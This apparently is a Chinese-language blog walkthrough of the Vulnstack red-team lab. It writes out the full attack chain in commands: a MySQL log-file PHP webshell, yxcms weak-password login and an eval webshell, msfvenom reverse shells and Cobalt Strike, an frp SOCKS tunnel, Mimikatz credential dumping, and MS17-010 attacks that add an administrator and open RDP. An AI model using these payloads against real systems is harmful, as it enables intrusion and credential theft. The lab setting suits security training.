ATT&CK实战—红队实战(一)

靶场介绍

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019

靶场链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 

搭建靶场

配置网卡

在虚拟机配置网卡

vment1类型仅主机,修改子网ip192.168.52.0和DHCP

vmnet8不变

kali(攻击机)nat网卡

win7(web服务器)nat网卡,双网卡

Win2K3 Windows Server 2008 R2 x64

0x2.启动靶场

虚拟机所有统一密码:hongrisec@2019
启动所有虚拟机,在进入win7启动phpstudy(第一次打开需要重启win7才可以启动phpstudy)

查看ipipconfig

使用win7浏览器访问本机靶场

攻击机访问win7的靶场

win7 ping Windows 2008

win7 ping Win2K3

内网(win2k3,win2008)和服务器(win7)互通,web服务器和攻击机(kali)互通,靶场搭建完成

攻击机:
kali ip:192.168.62.5
win10 ip: 192.168.2.1
靶机:
win7 外网ip:192.168.62.3 内网ip:192.168.52.143
win2k3 ip: 192.168.52.141
win2008 ip: 192.168.52.138

拓扑图

拓扑图如下: 

外网打点

0x0.信息收集nmap探测存活主机nmap -sP 192.168.62.0/24

nmap探测端口namp -sV 192.168.62.3

 经过探测信息收集结果

  • 靶场开放80(web服务端口)
  • 3306(mysql默认端口)可能存在弱口令
  • 中间件是Apache,php版本是5.4.45,数据库是MySQL
  • 靶场是windows系统

0x01.漏洞利用 访问wed访问80端口 访问页面后发现是一个phpstudy探针,从该页面获得网站根目录绝对路径是C:/phpStudy/WWW

 在页面最底下可以检测mysql的连接,测试是否为弱口令

 发现mysql存在rootroot弱口令

网站是由phpstudy搭建的就可能存在phpmyadmin后台,访问发现有,也可以使用御剑扫描目录 

 访问phpmyadmin,使用刚刚发现的弱口令root登入

思路一(phpmyadmin getshell)

phpmyadmin注入getshell要满足条件 使用日志文件来写shell 1.root权限,写文件的权限** 2.知道网站文件路径绝对路径 3.日志开启

日志路径:var/log/mysqld.sql 
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
ON

执行show variables like '%general%';查看一下日志状态 

 日志是关闭的,执行set global general_log=on;

先开启日志功能,修改日志保存路径为C:/phpStudy/WWW/shell.php

 执行set global general_log_file='C:/phpStudy/WWW/shell.php'

 

使用sql查询语句将一句话php木马写入日志,查询日志将记录这个错误信息

select '<?php eval($_POST[shell]);?>';

&#x20;执行成功,使用菜刀或者蚁剑连接&#x20;

&#x20;

思路二(利用yxcms框架渗透)

查看表信息发现有一个newyxcms的表&#x20;

yxcms是一个网站框架这个站可能也搭建了yxcms192.168.62.3/yxcms访问一下是否存在

访问发现存在,可以利用yxcms历史漏洞进行渗透

使用御剑对其进行目录扫描发现这个网站目录泄露

&#x20;

&#x20;

搜索yxcms的历史漏洞,后台登入路径,默认账号密码

不过在网站公告发现了后台登入地址和密码

&#x20;

后台登入路径:

index.php?r=admin/index/login 

发现后台可以看到yxcms版本信息是1.2.1可以更精确的搜索这个历史漏洞,可以更快的发现漏洞和利用

&#x20;

弱口令密码**admin/123456**或者一些常见的弱口令密码进行登入尝试

登入成功,这是一个弱口令

&#x20;

登入发现有内容输入框使用xss对其进行攻击,发现这是一个存储型的

插入xss恶意代码

访问首页弹出xss&#x20;

yxcms后台,直接在前台index模板看到好多php文件

index_index.php进行编辑先插入<?php phpinfo() ?>查看是否执行

成功执行phpinfo

&#x20;

在info.php写入一句话木马

<?php @eval($_POST['shell']);?>

&#x20;

写入了木马,但是不知道路径,因为我们知道yxcms的版本信息可以下载源码,查看路径

不过在目录扫描的时候发现目录泄露在这里我们可以利用

通过查出info.php的路径/yxcms/protected/apps/default/view/default

使用蚁剑进行连接

当前权限是administrator

内网渗透

msf上线GetShell

使用msf生成exe并开启监听

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.5 LPORT=5555 -f exe -o payload.exe  #生成木马exe
msfconsole    #启动msf 
use exploit/multi/handler #使用msf的侦听模块exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp #设置载荷payload
set LHOST 192.168.62.5 #设置本地监听机Ip
set LPORT 5555 #设置监听端口
run #运行

使用冰蝎上传exe并执行

CS上线GetShell

启动CS服务端

./teamserver 192.168.62.5 123456 #启动服务端(kali) 
./cobaltstrike #启动客户端(kali)

添加一个监听

生成一个exe木马来连接

保存木马使用msf上传并执行或者冰蝎,蚁剑

成功上线

搭建隧道代理

使用frp进行内网穿透设置socks5隧道代理

下载frplinux和windows :https://github.com/fatedier/frp/releases

&#x20;frps是服务端(服务端kali)

配置frps.ini

[common] 
bind_port = 0.0.0.0
bind_port = 7000

&#x20;

运行

./frps -c frps.ini 

&#x20;frpc客户端(windows)

配置frpc.ini

[common] 
server_addr = 192.168.62.5
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

&#x20;

修改完成使用冰蝎或者蚁剑上传

运行

frpc.exe -c frpc.ini 

配置代理,编辑/etc/proxychains4.conf

vim /etc/proxychains4.conf

kali添加socks5代理

后渗透

**后渗透之meterpreter使用:[https://xz.aliyun.com/t/2536#toc-7](https://xz.aliyun.com/t/2536#toc-7 "https://xz.aliyun.com/t/2536#toc-7")**

kiwi获取密码

使用hashdump 抓取密码哈希

运行 Mimikatz获取明文密码

信息收集

使用CS或者msf内网信息收集

0x0.查看当前用户和系统权限

shell whoami     #查看当前用户 
getuid #查看当前系统权限
getsystem #提权

**

0x1.查看工作站运行基本信息

shell net config workstation

&#x20;

0x2.查看计算机基本信息

sysinfo 

0x3.查看域是否是管理员

net group "domain admins" /domain

&#x20;

0x4.查看域内信息等

net config workstation

0x5.查看域控IP

net time /domain 
ping owa.god.org

0x6.查看有几个域控

net view

有两个域

0x7.获取域内主机IP ping ROOT-TVI862UBEH

ping OWA 

信息收集结果

有两个域方别是\\OWA和\\ROOT-TVI862UBEH 
OWA的IP:192.168.52.138
ROOT-TVI862UBEH的IP:192.168.52.141

0x8.端口探测 使用namp对两个内网IP进行端口探测

proxychains4 nmap -sT 192.168.52.141 #sT TCP 扫描

win2008开放了135,445等端口,445可能是永恒之蓝,直接可以使用msf进行攻击

proxychains4 nmap -sT 192.168.52.138 #sT TCP 扫描

&#x20;

win2003开放了80,53,445等端口

80是一个IIS服务存在中间件漏洞

&#x20;

445可能是永恒之蓝,直接可以使用msf进行攻击

横向移动

msf设置socks5代理

在msf添加一个全局代理 
setg Proxies socks5:127.0.0.1:7777 #设置全局代理
set ReverseAllowProxy true #这个参数是因为使用全局代理,可能会导致我们的shell无法反弹,所以需要开启。
挂上代理对内网进行攻击,扫描机器存活端口

Windows2003

存在永恒之蓝对window2003进行攻击,因为是32位的无法直接使用msf对其getshell,所以使用可以对永恒之蓝全版本的模块auxiliary/admin/smb/ms17_010_command对其进行攻击

use auxiliary/admin/smb/ms17_010_command 
set rhosts 192.168.52.141
set command whoami
set Proxies socks5:127.0.0.1:7777
set ReverseAllowProxy true
exploit

给windwos2003添加用户

set command net user test hongrisec@2023/add #添加用户 
run

&#x20;

给刚刚的用户添加添加管理员权限

set command net localgroup administrators test /add #管理员权限 
run

&#x20;

修改注册表开启3389远程桌面

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' 
run

挂代理使用工具连接桌面

proxychains4 rdesktop 192.168.52.141 

windows2008

win2008也可以使用以拿下win2003的方法来拿下 使用windows/smb/ms17_010_eternalblue模块进行攻击来getshell

search ms17-010 
use 0 #windows/smb/ms17_010_eternalblue
setg Proxies socks5:127.0.0.1:7777
set ReverseAllowProxy true
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.52.138
run

攻击成,msf上线&#x20;

&#x20;

查看ip和权限

getuid 
ipconfig

申明:

本博客所分享内容仅用于网络安全技术讨论,切勿用于违法途径

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法